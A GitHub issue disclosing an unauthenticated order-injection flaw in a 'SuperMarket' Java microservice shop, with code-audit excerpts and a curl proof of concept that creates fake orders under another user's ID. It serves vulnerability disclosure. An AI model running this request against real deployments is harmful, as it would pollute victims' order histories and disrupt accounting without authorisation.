Skip to content

SuperMarket POST /order/manage/save Missing Authentication – Arbitrary Order Pollution (Unauthenticated Order Injection) #32

Description

@360AlphaLab

Summary

The order creation endpoint in the Supermarket platform (master branch) contains a critical missing authentication vulnerability. The endpoint POST /order/manage/save accepts userId as a form field and creates orders under that user's identity without any session/ticket validation. This allows unauthenticated attackers to inject arbitrary "ghost orders" under any victim's name, polluting their order history, disrupting auditing/accounting, and interfering with downstream fulfillment workflows. Note: This is the only vulnerability among the three new findings that remains undisclosed (0-day) after thorough CVE/GHSA/GitHub issue verification.


#Details
The vulnerable endpoint passes the client-supplied userId and order details directly to the service layer without any authentication or ownership validation. The gateway configuration (zuul-gateway/src/main/resources/application.properties) does not include /order/** in the authentication check list (custom.uri.check or custom.uri.forbidden), making the order service externally reachable without credentials. The backend money validation (CartService.getMoney) itself uses the attacker-supplied userId to query the victim's shopping cart – meaning the "business validation" is fully compromised by the same attacker-controlled parameter. Verified with real Controller/Service/Mapper code, real frontend field set from mycart.html, and in-memory cart service replicating real getMoney logic.


Root Cause Analysis (Code Audit):

1. Controller – No Authentication Check

// OrderController.java
@RequestMapping(value = "/manage/save", method = RequestMethod.POST)
@ResponseBody
public SysResult addOrder(Order order) {
    try {
        this.orderService.addOrder(order);
        return SysResult.ok();
    } catch (MsgException e) {
        return SysResult.build(201, e.getMessage(), e);
    }
}

The controller accepts the Order object (including userId) directly from the request body and passes it to the service layer without reading any session/ticket.

2. Service – No Ownership Validation, Uses Attacker-Controlled userId for Money Check

// OrderServiceImpl.java addOrder L50-80
@Override
public void addOrder(Order order) {
    order.setOrderId(UUID.randomUUID().toString());
    order.setOrderTime(new Date());

    // ATTACKER-CONTROLLED userId is passed to money validation
    Double money = this.cartService.getMoney(order.getUserId());

    if (!money.equals(order.getOrderMoney())) {
        throw new MsgException("后端金额校验出错");
    }

    this.orderDao.addOrderAndItem(order);
}

3. Cart Service – Money Validation Uses Attacker-Supplied userId

// CartServiceImpl.java getMoney
@Override
public Double getMoney(String userId) {
    List<Cart> carts = this.cartDao.selectCart(new Cart(null, userId));
    // ^-- userId from order form (attacker-controlled), not from session!
    double money = 0.0;
    for (Cart cart : carts) {
        money += cart.getNum() * cart.getProduct().getProductPrice();
    }
    return money;
}

The "business validation" (money check) is fully compromised because it queries the victim's shopping cart using the attacker-controlled userId, then validates against the attacker-supplied orderMoney.

4. Mapper – Inserts Order with Attacker-Controlled userId

<!-- OrderMapper.xml addOrderAndItem -->
<insert id="addOrder" parameterType="com.supermarket.common.domain.Order">
    insert into t_order (order_id, order_money, order_receiverinfo,
                         order_paystate, order_time, user_id)
    values (#{orderId}, #{orderMoney}, #{orderReceiverinfo},
            #{orderPaystate}, #{orderTime}, #{userId})
</insert>
<insert id="addOrderItem">
    insert into t_order_item (order_id, product_id, num, product_price,
                              product_image, product_name)
    values (#{orderId}, #{productId}, #{num}, #{productPrice},
            #{productImage}, #{productName})
</insert>

The entire call chain contains no session/ticket reading or ownership validation — userId comes entirely from the client and is used for: (a) money validation, (b) order insertion, and (c) querying the victim's shopping cart.

5. Gateway – Order Paths Not Protected

# zuul-gateway/src/main/resources/application.properties
custom.uri.check={'/product/manage/save':'3','/product/manage/update':'3',
                  '/user/query/userType':'3','/search/manage/add':'2','/search/manage/delete':'2'}
custom.uri.forbidden=/product/manage/query,/cart/get/money
// PermissionCheck.shouldFilter()
return this.uriCheck.containsKey(uri) || this.uriForbidden.contains(uri);
// /order/** returns false → no authentication filter applied

Affected files:

  • order/src/main/java/com/supermarket/order/controller/OrderController.java
  • order/src/main/java/com/supermarket/order/service/impl/OrderServiceImpl.java
  • cart/src/main/java/com/supermarket/cart/service/impl/CartServiceImpl.java
  • order/src/main/resources/mappers/OrderMapper.xml
  • zuul-gateway/src/main/resources/application.properties

POC

# Baseline: victim-alice has 1 order (199.0, 2×p1001)
curl -s http://127.0.0.1:8086/order/manage/query/victim-alice
# -> [{"orderId":"victim-order-0001","orderMoney":199.0,...}]

# Attack: inject ghost order under victim-alice (NO credentials, NO cookie, NO ticket)
curl -s -X POST http://127.0.0.1:8086/order/manage/save \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "orderMoney=298.5&orderReceiverinfo=attacker+chosen&orderPaystate=0&userId=victim-alice&orderItems[0].productId=p1001&orderItems[0].num=3&orderItems[0].productPrice=99.5&orderItems[0].productImage=img&orderItems[0].productName=Super+Phone"
# -> {"status":200,"msg":"ok","data":null}

# Verify pollution: victim now has 2 orders (original + ghost)
curl -s http://127.0.0.1:8086/order/manage/query/victim-alice
# -> [original 199.0, ghost 298.5 with attacker-chosen receiver info]

# Can be repeated indefinitely
curl -s -X POST http://127.0.0.1:8086/order/manage/save ... (same parameters)
# -> Another ghost order appears

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions